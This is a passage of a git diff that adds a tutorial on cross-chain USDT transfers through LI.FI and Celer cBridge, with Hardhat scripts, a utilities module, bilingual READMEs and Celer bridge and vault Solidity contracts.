+  const fromChain = 'OPT'; // Symbols for  Optimism: OPT, Ethereum: ETH
+  const fromToken = 'USDT';
+  const toChain = 'ARB'; // Symbols for  Zksync Era: ERA
+  const toToken = 'USDT';
+  const fromAmount = '1000000';
+  const slippage = 0.05;
+  const fromAddress = deployer.address;
+  const toAddress = deployer.address;
+  const signer = await ethers.provider.getSigner();
+  const tokenAddress = '0x94b008aA00579c1307B0EF2c499aD98a8ce58e58'; // USDT
+  let quote = await getQuote(fromChain, toChain, fromToken, toToken, fromAmount, slippage, fromAddress, toAddress);
+  console.log(quote.transactionRequest);
+
+  // approve USDT
+  const tokenContracct = await ethers.getContractAt('IERC20', tokenAddress, deployer);
+  let approveTx = await tokenContracct.approve(quote.transactionRequest.to, fromAmount);
+  await approveTx.wait();
+  console.log(`Approve USDT to ${quote.transactionRequest.to} successfully`);
+
+  // send cross chain transfer request
+  let tx = await signer.sendTransaction(quote.transactionRequest);
+  await tx.wait();
+  console.log('send request successfully');
+
+  // save tx has
+  saveRedpacketDeployment({
+    crossChainTxHash: tx.hash,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/LI.FI/scripts/2-checkTokenTransferStatus.js b/basic/80-crossChainTransfer/LI.FI/scripts/2-checkTokenTransferStatus.js
new file mode 100644
index 000000000..60aca074f
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/scripts/2-checkTokenTransferStatus.js
@@ -0,0 +1,79 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+require('dotenv').config();
+
+const {
+  readRedpacketDeployment,
+  getStatus,
+  request,
+} = require("../utils");
+
+async function getQuote (fromChain, toChain, fromToken, toToken, fromAmount, slippage, fromAddress, toAddress) {
+  const result = await request(
+    "https://li.quest/v1/quote",
+    {
+      fromChain,
+      toChain,
+      fromToken,
+      toToken,
+      fromAmount,
+      slippage,
+      fromAddress,
+      toAddress,
+    }
+  )
+
+  return result;
+}
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  // Bridge From Op to Zksync ERA
+  // const fromChain = 'OPT';
+  // const fromToken = 'USDT';
+  // const toChain = 'ERA';
+  // const toToken = 'USDT';
+  // const fromAmount = '1000000';
+  // const slippage = 0.03;
+  // const fromAddress = deployer.address;
+  // const toAddress = deployer.address;
+  // let quote = await getQuote(fromChain, toChain, fromToken, toToken, fromAmount, slippage,fromAddress,toAddress);
+  // console.log(quote.transactionRequest)
+
+
+  // Bridge From Op to ARB
+  const fromChain = 'OPT';
+  const fromToken = 'USDT';
+  const toChain = 'ARB';
+  const toToken = 'USDT';
+  const fromAmount = '1000000';
+  const slippage = 0.03;
+  const fromAddress = deployer.address;
+  const toAddress = deployer.address;
+  let quote = await getQuote(fromChain, toChain, fromToken, toToken, fromAmount, slippage,fromAddress,toAddress);
+  // console.log(quote.transactionRequest)
+
+  const deployment = readRedpacketDeployment();
+  let txHash = deployment.crossChainTxHash
+  // Waiting for the transfer to complete
+  let result;
+  do {
+      result = await getStatus(quote.tool, fromChain, toChain, txHash);
+      console.log(`Transfer status: ${result.status}`)
+  } while (result.status !== 'DONE' && result.status !== 'FAILED')
+  console.log(result)
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/LI.FI/scripts/2-tokenbalance.js b/basic/80-crossChainTransfer/LI.FI/scripts/2-tokenbalance.js
new file mode 100644
index 000000000..21e23daa7
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/scripts/2-tokenbalance.js
@@ -0,0 +1,43 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const { ethers } = require('hardhat');
+require('dotenv').config();
+
+const { getRoutes, getQuote, getStatus, getToken, ChainId, getTokenBalances, getTokens } = require('@lifi/sdk');
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log(deployer.address);
+
+  //  check  balance
+
+  const chainId = 1;
+  const walletAddress = deployer.address;
+
+  try {
+    const tokensResponse = await getTokens();
+
+    const optimismTokens = tokensResponse.tokens[ChainId.OPT];
+
+    console.log(optimismTokens);
+
+    const tokenBalances = await getTokenBalances(walletAddress, optimismTokens);
+    console.log(tokenBalances);
+  } catch (error) {
+    console.error(error);
+  }
+
+  // request quote
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/LI.FI/utils/index.js b/basic/80-crossChainTransfer/LI.FI/utils/index.js
new file mode 100644
index 000000000..22cf98a51
--- /dev/null
+++ b/basic/80-crossChainTransfer/LI.FI/utils/index.js
@@ -0,0 +1,162 @@
+// read and save redpacket contract deployment json file
+const path = require("path");
+const fs = require("fs");
+const hre = require("hardhat");
+const fetch = require("node-fetch");
+
+const currentNamework = hre.network.name;
+const DEPLOYMENGT_DIR = path.join(
+  __dirname,
+  "../scripts/deployment.json",
+);
+
+const AddressZero = "0x0000000000000000000000000000000000000000";
+
+async function deployContract(name, params, deployer = undefined) {
+  const contract = await hre.ethers.deployContract(name, params, deployer);
+  await contract.waitForDeployment();
+  // @todo 临时处理
+  contract.address = contract.target;
+  return contract;
+}
+
+const request = (url, params = {}, method = "GET") => {
+  let options = {
+    method,
+  };
+  if ("GET" === method) {
+    url += "?" + new URLSearchParams(params).toString();
+  } else {
+    options.body = JSON.stringify(params);
+  }
+
+  return fetch(url, options).then((response) => response.json());
+};
+
+async function getStatus (bridge, fromChain, toChain, txHash) {
+  const result = await request(
+    "https://li.quest/v1/status",
+    {
+      bridge,
+      fromChain,
+      toChain,
+      txHash,
+    }
+  )
+
+  return result;
+}
+
+async function getQuote (fromChain, toChain, fromToken, toToken, fromAmount, slippage, fromAddress, toAddress) {
+  const result = await request(
+    "https://li.quest/v1/quote",
+    {
+      fromChain,
+      toChain,
+      fromToken,
+      toToken,
+      fromAmount,
+      slippage,
+      fromAddress,
+      toAddress,
+    }
+  )
+
+  return result;
+}
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readRedpacketDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: "utf-8" }));
+  } catch {
+    return null;
+  }
+}
+
+function saveRedpacketDeployment(payload) {
+  let oldData = readRedpacketDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: "w+" },
+  );
+  return true;
+}
+
+async function verifyContract(
+  contractNameOrAddress,
+  network = hre.network.name,
+  constructorArguments = null,
+) {
+  if (network == "hardhat" || network == "localhost") {
+    console.log("hardhat network skip verifyContract");
+    return;
+  }
+
+  let address;
+  if (isAddress(contractNameOrAddress)) {
+    address = contractNameOrAddress;
+  } else {
+    const data = fs.readFileSync(DEPLOYMENGT_DIR, "utf8");
+    const addresses = JSON.parse(data);
+    address = addresses[contractNameOrAddress];
+  }
+
+  if (!address) {
+    console.error("verifyContract error: Contract depoloyment not found.");
+    return;
+  }
+
+  let params = {
+    address,
+    network,
+    constructorArguments: [],
+  };
+  if (constructorArguments) {
+    params.constructorArguments = constructorArguments;
+  }
+
+  try {
+    await hre.run("verify:verify", params);
+    console.log("verifyContract successfully!");
+  } catch (e) {
+    console.error("verifyContract error:", e);
+  }
+}
+
+function isAddress(str) {
+  return /^0x[a-fA-F0-9]{40}$/.test(str);
+}
+
+function hashToken(account) {
+  return Buffer.from(
+    hre.ethers.utils.solidityPackedKeccak256(["address"], [account]).slice(2),
+    "hex",
+  );
+}
+
+module.exports = {
+  AddressZero,
+  deployContract,
+  DEPLOYMENGT_DIR,
+  isAddress,
+  verifyContract,
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+  hashToken,
+  request,
+  getQuote,
+  getStatus,
+};
diff --git a/basic/80-crossChainTransfer/celerBridge/.env.example b/basic/80-crossChainTransfer/celerBridge/.env.example
new file mode 100644
index 000000000..3bdf12274
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/.env.example
@@ -0,0 +1,3 @@
+PRIVATE_KEY=xxxx
+INFURA_ID=yyyy
+API_KEY=yyyy 
diff --git a/basic/80-crossChainTransfer/celerBridge/.gitignore b/basic/80-crossChainTransfer/celerBridge/.gitignore
new file mode 100644
index 000000000..d0f33a7c1
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
+
+**/deployment.json
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/README-cn.md b/basic/80-crossChainTransfer/celerBridge/README-cn.md
new file mode 100644
index 000000000..1957dad0d
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/README-cn.md
@@ -0,0 +1,72 @@
+中文 / [English](./README.md)
+
+# Celer Bridge 跨链
+
+## 概览 
+cBridge 引入了最佳的跨链代币桥接体验，为用户提供了深度流动性，为 cBridge 节点运营商和不想运营 cBridge 节点的流动性提供者提供了高效且易于使用的流动性管理，以及新的令人兴奋的面向开发者的功能，如用于跨链 DEX 和 NFT 等场景的通用消息桥接。
+
+cBridge 有两种 bridge 方式，一种是 Pool-Based ，一种是 Canonical Mapping。
+Pool-Based 就是在 A 链和 B 链之间各自锁定相同的 token，比如 USDT。当用户需要从 A 链跨到 B 链的时候，先会把 USDT 转入 A 链这边的 Vault 中，然后在 B 链这边把 USDT transfer 给用户。这个情况下，就需要在 A 链和 B 链上各自建立 pool 来完成这个操作，当 pool 中的资金不足时，就会出现无法 bridge 的情况。这种模式被称为 lock/unlock。
+Canonical Mapping 对应的就是 lock/mint。用户 bridge 的时候，会把 USDT lock 到 A 链这边的 vault，然后在 B 链这边 mint 出对应的资产给用户。反过来，当用户想把 B 链上的 USDT bridge 会 A 链的时候，会把 B 链上的 USDT burn 掉，然后在 A 链这边把 USDT 从 vault 再 transfer 给用户。 
+
+本测试将以 OP mainnet 和 Polygon mainnet 进行测试
+
+## 测试环境要求  
+node 版本需要为 v18.17.0, 可以使用 nvm 切换当前 node 版本
+
+## 准备测试环境  
+- 安装依赖  
+```
+npm install
+```
+
+- 配置环境  
+```
+cp .env.example .env
+## 之后在 .env 中配置具体的私钥
+```
+
+## 执行跨链   
+- 以流动性池方式进行跨链    
+```
+npx hardhat run scripts/1-poolBasedTransfer.js --network optim
+```
+
+- 检查跨链结果    
+```
+npx hardhat run scripts/2-queryPoolBasedTrasnferStatus.js --network optim
+```
+
+- 以映射方式进行跨链   
+```
+npx hardhat run scripts/3.1-canonicalTokenTransfer.js --network optim
+```
+
+- 检查跨链结果    
+大概需要 15 分钟左右才能确定最终跨链状态，可等待 15 分钟后再来查询结果
+```
+npx hardhat run scripts/4.1-queryCanonicalTrasnferStatus.js --network optim
+```
+
+## 跨链 Refund 
+当跨链失败的时候，用户可以 refund 他的资产，以下测试如何进行 refund 
+
+- 以映射方式进行跨链   
+```
+## 为测试需要，本次跨链将会失败，OP tonken 会被 unlock，为后续的 refund 做准备
+npx hardhat run scripts/3.2-canonicalTokenTransfer_ForRefund.js --network optim
+```
+
+- 检查跨链结果    
+大概需要 15 分钟左右才能确定最终跨链状态，可等待 15 分钟后再来查询结果 
+```
+npx hardhat run scripts/4.2-queryCanonicalTrasnferStatus_ForRefund.js --network optim
+```
+
+- Refund   
+```
+npx hardhat run scripts/5-canonicalTrasnferRefund.js --network optim
+```
+
+## 参考文档 
+- 官方 doc: https://cbridge-docs.celer.network/  
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/README.md b/basic/80-crossChainTransfer/celerBridge/README.md
new file mode 100644
index 000000000..9e0a48867
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/README.md
@@ -0,0 +1,73 @@
+[中文](./README-cn.md) / English
+
+# Celer Bridge 
+
+## Overview
+cBridge introduces the best cross-chain token bridging experience, providing users with deep liquidity, efficient and easy-to-use liquidity management for cBridge node operators and liquidity providers who do not want to operate cBridge nodes. It also offers exciting developer-oriented features such as a universal message bridging for scenarios like cross-chain DEX and NFT.
+
+cBridge has two bridge modes, one is Pool-Based, and the other is Canonical Mapping.
+Pool-Based involves locking the same token on both Chain A and Chain B, taking USDT as an example. When a user needs to cross from Chain A to Chain B, they first deposit USDT into the Vault on Chain A, and then transfer the USDT to the user on Chain B. In this case, pools need to be established on Chain A and Chain B respectively to complete this operation. When the funds in the pool are insufficient, it may result in an inability to bridge. This mode is known as lock/unlock.
+Canonical Mapping corresponds to lock/mint. When a user bridges, they lock USDT into the vault on Chain A, and then mint the corresponding asset to the user on Chain B. Conversely, when a user wants to bridge USDT from Chain B back to Chain A, they burn the USDT on Chain B, and then transfer the USDT from the vault to the user on Chain A.
+
+This test will be conducted on the OP mainnet and Polygon mainnet.
+
+## Test Environment Requirements
+The node version needs to be v18.17.0, you can use nvm to switch to the current node version.
+
+
+## Preparing the Testing Environment 
+- Install dependencies   
+```
+npm install
+```
+
+- Configure the environment   
+```
+cp .env.example .env
+## Then configure the specific private key in .env 
+```
+
+## Executing Cross-Chain Operations    
+- Cross-chain operation in Pool-Based mode       
+```
+npx hardhat run scripts/1-poolBasedTransfer.js --network optim
+```
+
+- Check the cross-chain results     
+```
+npx hardhat run scripts/2-queryPoolBasedTrasnferStatus.js --network optim
+```
+
+- Cross-chain operation in the mapping mode    
+```
+npx hardhat run scripts/3.1-canonicalTokenTransfer.js --network optim
+```
+
+- Check the cross-chain results     
+It takes approximately 15 minutes to confirm the final cross-chain status. You can wait for 15 minutes before querying the results. 
+```
+npx hardhat run scripts/4.1-queryCanonicalTrasnferStatus.js --network optim
+```
+
+## Cross-Chain Refund  
+When a cross-chain operation fails, users can refund their assets. The following tests demonstrate how to initiate a refund.  
+
+- Cross-chain operation using the mapping method    
+```
+## For testing purposes, this cross-chain operation will fail, and the OP token will be unlocked, preparing for the subsequent refund. 
+npx hardhat run scripts/3.2-canonicalTokenTransfer_ForRefund.js --network optim
+```
+
+- Check the cross-chain results     
+It takes approximately 15 minutes to confirm the final cross-chain status. You can wait for 15 minutes before querying the results.  
+```
+npx hardhat run scripts/4.2-queryCanonicalTrasnferStatus_ForRefund.js --network optim
+```
+
+- Refund   
+```
+npx hardhat run scripts/5-canonicalTrasnferRefund.js --network optim
+```
+
+## Reference Documentation  
+- Official doc: https://cbridge-docs.celer.network/  
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/Bridge.sol b/basic/80-crossChainTransfer/celerBridge/contracts/Bridge.sol
new file mode 100644
index 000000000..c0bea5b62
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/Bridge.sol
@@ -0,0 +1,189 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+import "./libraries/PbBridge.sol";
+import "./Pool.sol";
+
+/**
+ * @title The liquidity-pool based bridge.
+ */
+contract Bridge is Pool {
+    using SafeERC20 for IERC20;
+
+    // liquidity events
+    event Send(
+        bytes32 transferId,
+        address sender,
+        address receiver,
+        address token,
+        uint256 amount,
+        uint64 dstChainId,
+        uint64 nonce,
+        uint32 maxSlippage
+    );
+    event Relay(
+        bytes32 transferId,
+        address sender,
+        address receiver,
+        address token,
+        uint256 amount,
+        uint64 srcChainId,
+        bytes32 srcTransferId
+    );
+    // gov events
+    event MinSendUpdated(address token, uint256 amount);
+    event MaxSendUpdated(address token, uint256 amount);
+
+    mapping(bytes32 => bool) public transfers;
+    mapping(address => uint256) public minSend; // send _amount must > minSend
+    mapping(address => uint256) public maxSend;
+
+    // min allowed max slippage uint32 value is slippage * 1M, eg. 0.5% -> 5000
+    uint32 public minimalMaxSlippage;
+
+    /**
+     * @notice Send a cross-chain transfer via the liquidity pool-based bridge.
+     * NOTE: This function DOES NOT SUPPORT fee-on-transfer / rebasing tokens.
+     * @param _receiver The address of the receiver.
+     * @param _token The address of the token.
+     * @param _amount The amount of the transfer.
+     * @param _dstChainId The destination chain ID.
+     * @param _nonce A number input to guarantee uniqueness of transferId. Can be timestamp in practice.
+     * @param _maxSlippage The max slippage accepted, given as percentage in point (pip). Eg. 5000 means 0.5%.
+     * Must be greater than minimalMaxSlippage. Receiver is guaranteed to receive at least (100% - max slippage percentage) * amount or the
+     * transfer can be refunded.
+     */
+    function send(
+        address _receiver,
+        address _token,
+        uint256 _amount,
+        uint64 _dstChainId,
+        uint64 _nonce,
+        uint32 _maxSlippage // slippage * 1M, eg. 0.5% -> 5000
+    ) external nonReentrant whenNotPaused {
+        bytes32 transferId = _send(_receiver, _token, _amount, _dstChainId, _nonce, _maxSlippage);
+        IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
+        emit Send(transferId, msg.sender, _receiver, _token, _amount, _dstChainId, _nonce, _maxSlippage);
+    }
+
+    /**
+     * @notice Send a cross-chain transfer via the liquidity pool-based bridge using the native token.
+     * @param _receiver The address of the receiver.
+     * @param _amount The amount of the transfer.
+     * @param _dstChainId The destination chain ID.
+     * @param _nonce A unique number. Can be timestamp in practice.
+     * @param _maxSlippage The max slippage accepted, given as percentage in point (pip). Eg. 5000 means 0.5%.
+     * Must be greater than minimalMaxSlippage. Receiver is guaranteed to receive at least (100% - max slippage percentage) * amount or the
+     * transfer can be refunded.
+     */
+    function sendNative(
+        address _receiver,
+        uint256 _amount,
+        uint64 _dstChainId,
+        uint64 _nonce,
+        uint32 _maxSlippage
+    ) external payable nonReentrant whenNotPaused {
+        require(msg.value == _amount, "Amount mismatch");
+        require(nativeWrap != address(0), "Native wrap not set");
+        bytes32 transferId = _send(_receiver, nativeWrap, _amount, _dstChainId, _nonce, _maxSlippage);
+        IWETH(nativeWrap).deposit{value: _amount}();
+        emit Send(transferId, msg.sender, _receiver, nativeWrap, _amount, _dstChainId, _nonce, _maxSlippage);
+    }
+
+    function _send(
+        address _receiver,
+        address _token,
+        uint256 _amount,
+        uint64 _dstChainId,
+        uint64 _nonce,
+        uint32 _maxSlippage
+    ) private returns (bytes32) {
+        require(_amount > minSend[_token], "amount too small");
+        require(maxSend[_token] == 0 || _amount <= maxSend[_token], "amount too large");
+        require(_maxSlippage > minimalMaxSlippage, "max slippage too small");
+        bytes32 transferId = keccak256(
+            // uint64(block.chainid) for consistency as entire system uses uint64 for chain id
+            // len = 20 + 20 + 20 + 32 + 8 + 8 + 8 = 116
+            abi.encodePacked(msg.sender, _receiver, _token, _amount, _dstChainId, _nonce, uint64(block.chainid))
+        );
+        require(transfers[transferId] == false, "transfer exists");
+        transfers[transferId] = true;
+        return transferId;
+    }
+
+    /**
+     * @notice Relay a cross-chain transfer sent from a liquidity pool-based bridge on another chain.
+     * @param _relayRequest The serialized Relay protobuf.
+     * @param _sigs The list of signatures sorted by signing addresses in ascending order. A relay must be signed-off by
+     * +2/3 of the bridge's current signing power to be delivered.
+     * @param _signers The sorted list of signers.
+     * @param _powers The signing powers of the signers.
+     */
+    function relay(
+        bytes calldata _relayRequest,
+        bytes[] calldata _sigs,
+        address[] calldata _signers,
+        uint256[] calldata _powers
+    ) external whenNotPaused {
+        bytes32 domain = keccak256(abi.encodePacked(block.chainid, address(this), "Relay"));
+        verifySigs(abi.encodePacked(domain, _relayRequest), _sigs, _signers, _powers);
+        PbBridge.Relay memory request = PbBridge.decRelay(_relayRequest);
+        // len = 20 + 20 + 20 + 32 + 8 + 8 + 32 = 140
+        bytes32 transferId = keccak256(
+            abi.encodePacked(
+                request.sender,
+                request.receiver,
+                request.token,
+                request.amount,
+                request.srcChainId,
+                request.dstChainId,
+                request.srcTransferId
+            )
+        );
+        require(transfers[transferId] == false, "transfer exists");
+        transfers[transferId] = true;
+        _updateVolume(request.token, request.amount);
+        uint256 delayThreshold = delayThresholds[request.token];
+        if (delayThreshold > 0 && request.amount > delayThreshold) {
+            _addDelayedTransfer(transferId, request.receiver, request.token, request.amount);
+        } else {
+            _sendToken(request.receiver, request.token, request.amount);
+        }
+
+        emit Relay(
+            transferId,
+            request.sender,
+            request.receiver,
+            request.token,
+            request.amount,
+            request.srcChainId,
+            request.srcTransferId
+        );
+    }
+
+    function setMinSend(address[] calldata _tokens, uint256[] calldata _amounts) external onlyGovernor {
+        require(_tokens.length == _amounts.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            minSend[_tokens[i]] = _amounts[i];
+            emit MinSendUpdated(_tokens[i], _amounts[i]);
+        }
+    }
+
+    function setMaxSend(address[] calldata _tokens, uint256[] calldata _amounts) external onlyGovernor {
+        require(_tokens.length == _amounts.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            maxSend[_tokens[i]] = _amounts[i];
+            emit MaxSendUpdated(_tokens[i], _amounts[i]);
+        }
+    }
+
+    function setMinimalMaxSlippage(uint32 _minimalMaxSlippage) external onlyGovernor {
+        minimalMaxSlippage = _minimalMaxSlippage;
+    }
+
+    // This is needed to receive ETH when calling `IWETH.withdraw`
+    receive() external payable {}
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/OriginalTokenVault.sol b/basic/80-crossChainTransfer/celerBridge/contracts/OriginalTokenVault.sol
new file mode 100644
index 000000000..d10a793d0
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/OriginalTokenVault.sol
@@ -0,0 +1,204 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+import "./interfaces/ISigsVerifier.sol";
+import "./interfaces/IWETH.sol";
+import "./libraries/PbPegged.sol";
+import "./safeguard/Pauser.sol";
+import "./safeguard/VolumeControl.sol";
+import "./safeguard/DelayedTransfer.sol";
+
+/**
+ * @title the vault to deposit and withdraw original tokens
+ * @dev Work together with PeggedTokenBridge contracts deployed at remote chains
+ */
+contract OriginalTokenVault is ReentrancyGuard, Pauser, VolumeControl, DelayedTransfer {
+    using SafeERC20 for IERC20;
+
+    ISigsVerifier public immutable sigsVerifier;
+
+    mapping(bytes32 => bool) public records;
+
+    mapping(address => uint256) public minDeposit;
+    mapping(address => uint256) public maxDeposit;
+
+    address public nativeWrap;
+
+    event Deposited(
+        bytes32 depositId,
+        address depositor,
+        address token,
+        uint256 amount,
+        uint64 mintChainId,
+        address mintAccount
+    );
+    event Withdrawn(
+        bytes32 withdrawId,
+        address receiver,
+        address token,
+        uint256 amount,
+        uint64 refChainId,
+        bytes32 refId,
+        address burnAccount
+    );
+    event MinDepositUpdated(address token, uint256 amount);
+    event MaxDepositUpdated(address token, uint256 amount);
+
+    constructor(ISigsVerifier _sigsVerifier) {
+        sigsVerifier = _sigsVerifier;
+    }
+
+    /**
+     * @notice Lock original tokens to trigger cross-chain mint of pegged tokens at a remote chain's PeggedTokenBridge.
+     * NOTE: This function DOES NOT SUPPORT fee-on-transfer / rebasing tokens.
+     * @param _token The original token address.
+     * @param _amount The amount to deposit.
+     * @param _mintChainId The destination chain ID to mint tokens.
+     * @param _mintAccount The destination account to receive the minted pegged tokens.
+     * @param _nonce A number input to guarantee unique depositId. Can be timestamp in practice.
+     */
+    function deposit(
+        address _token,
+        uint256 _amount,
+        uint64 _mintChainId,
+        address _mintAccount,
+        uint64 _nonce
+    ) external nonReentrant whenNotPaused {
+        bytes32 depId = _deposit(_token, _amount, _mintChainId, _mintAccount, _nonce);
+        IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
+        emit Deposited(depId, msg.sender, _token, _amount, _mintChainId, _mintAccount);
+    }
+
+    /**
+     * @notice Lock native token as original token to trigger cross-chain mint of pegged tokens at a remote chain's
+     * PeggedTokenBridge.
+     * @param _amount The amount to deposit.
+     * @param _mintChainId The destination chain ID to mint tokens.
+     * @param _mintAccount The destination account to receive the minted pegged tokens.
+     * @param _nonce A number input to guarantee unique depositId. Can be timestamp in practice.
+     */
+    function depositNative(
+        uint256 _amount,
+        uint64 _mintChainId,
+        address _mintAccount,
+        uint64 _nonce
+    ) external payable nonReentrant whenNotPaused {
+        require(msg.value == _amount, "Amount mismatch");
+        require(nativeWrap != address(0), "Native wrap not set");
+        bytes32 depId = _deposit(nativeWrap, _amount, _mintChainId, _mintAccount, _nonce);
+        IWETH(nativeWrap).deposit{value: _amount}();
+        emit Deposited(depId, msg.sender, nativeWrap, _amount, _mintChainId, _mintAccount);
+    }
+
+    function _deposit(
+        address _token,
+        uint256 _amount,
+        uint64 _mintChainId,
+        address _mintAccount,
+        uint64 _nonce
+    ) private returns (bytes32) {
+        require(_amount > minDeposit[_token], "amount too small");
+        require(maxDeposit[_token] == 0 || _amount <= maxDeposit[_token], "amount too large");
+        bytes32 depId = keccak256(
+            // len = 20 + 20 + 32 + 8 + 20 + 8 + 8 = 116
+            abi.encodePacked(msg.sender, _token, _amount, _mintChainId, _mintAccount, _nonce, uint64(block.chainid))
+        );
+        require(records[depId] == false, "record exists");
+        records[depId] = true;
+        return depId;
+    }
+
+    /**
+     * @notice Withdraw locked original tokens triggered by a burn at a remote chain's PeggedTokenBridge.
+     * @param _request The serialized Withdraw protobuf.
+     * @param _sigs The list of signatures sorted by signing addresses in ascending order. A relay must be signed-off by
+     * +2/3 of the bridge's current signing power to be delivered.
+     * @param _signers The sorted list of signers.
+     * @param _powers The signing powers of the signers.
+     */
+    function withdraw(
+        bytes calldata _request,
+        bytes[] calldata _sigs,
+        address[] calldata _signers,
+        uint256[] calldata _powers
+    ) external whenNotPaused {
+        bytes32 domain = keccak256(abi.encodePacked(block.chainid, address(this), "Withdraw"));
+        sigsVerifier.verifySigs(abi.encodePacked(domain, _request), _sigs, _signers, _powers);
+        PbPegged.Withdraw memory request = PbPegged.decWithdraw(_request);
+        bytes32 wdId = keccak256(
+            // len = 20 + 20 + 32 + 20 + 8 + 32 = 132
+            abi.encodePacked(
+                request.receiver,
+                request.token,
+                request.amount,
+                request.burnAccount,
+                request.refChainId,
+                request.refId
+            )
+        );
+        require(records[wdId] == false, "record exists");
+        records[wdId] = true;
+        _updateVolume(request.token, request.amount);
+        uint256 delayThreshold = delayThresholds[request.token];
+        if (delayThreshold > 0 && request.amount > delayThreshold) {
+            _addDelayedTransfer(wdId, request.receiver, request.token, request.amount);
+        } else {
+            _sendToken(request.receiver, request.token, request.amount);
+        }
+        emit Withdrawn(
+            wdId,
+            request.receiver,
+            request.token,
+            request.amount,
+            request.refChainId,
+            request.refId,
+            request.burnAccount
+        );
+    }
+
+    function executeDelayedTransfer(bytes32 id) external whenNotPaused {
+        delayedTransfer memory transfer = _executeDelayedTransfer(id);
+        _sendToken(transfer.receiver, transfer.token, transfer.amount);
+    }
+
+    function setMinDeposit(address[] calldata _tokens, uint256[] calldata _amounts) external onlyGovernor {
+        require(_tokens.length == _amounts.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            minDeposit[_tokens[i]] = _amounts[i];
+            emit MinDepositUpdated(_tokens[i], _amounts[i]);
+        }
+    }
+
+    function setMaxDeposit(address[] calldata _tokens, uint256[] calldata _amounts) external onlyGovernor {
+        require(_tokens.length == _amounts.length, "length mismatch");
+        for (uint256 i = 0; i < _tokens.length; i++) {
+            maxDeposit[_tokens[i]] = _amounts[i];
+            emit MaxDepositUpdated(_tokens[i], _amounts[i]);
+        }
+    }
+
+    function setWrap(address _weth) external onlyOwner {
+        nativeWrap = _weth;
+    }
+
+    function _sendToken(
+        address _receiver,
+        address _token,
+        uint256 _amount
+    ) private {
+        if (_token == nativeWrap) {
+            // withdraw then transfer native to receiver
+            IWETH(nativeWrap).withdraw(_amount);
+            (bool sent, ) = _receiver.call{value: _amount, gas: 50000}("");
+            require(sent, "failed to send native token");
+        } else {
+            IERC20(_token).safeTransfer(_receiver, _amount);
+        }
+    }
+
+    receive() external payable {}
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/celerBridge/contracts/Pool.sol b/basic/80-crossChainTransfer/celerBridge/contracts/Pool.sol
new file mode 100644
index 000000000..74ecd67cb
--- /dev/null
+++ b/basic/80-crossChainTransfer/celerBridge/contracts/Pool.sol
@@ -0,0 +1,150 @@
+// SPDX-License-Identifier: GPL-3.0-only
+
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+import "./interfaces/IWETH.sol";
+import "./libraries/PbPool.sol";
+import "./safeguard/Pauser.sol";
+import "./safeguard/VolumeControl.sol";
+import "./safeguard/DelayedTransfer.sol";
+import "./Signers.sol";
+
+/**
+ * @title Liquidity pool functions for {Bridge}.
+ */
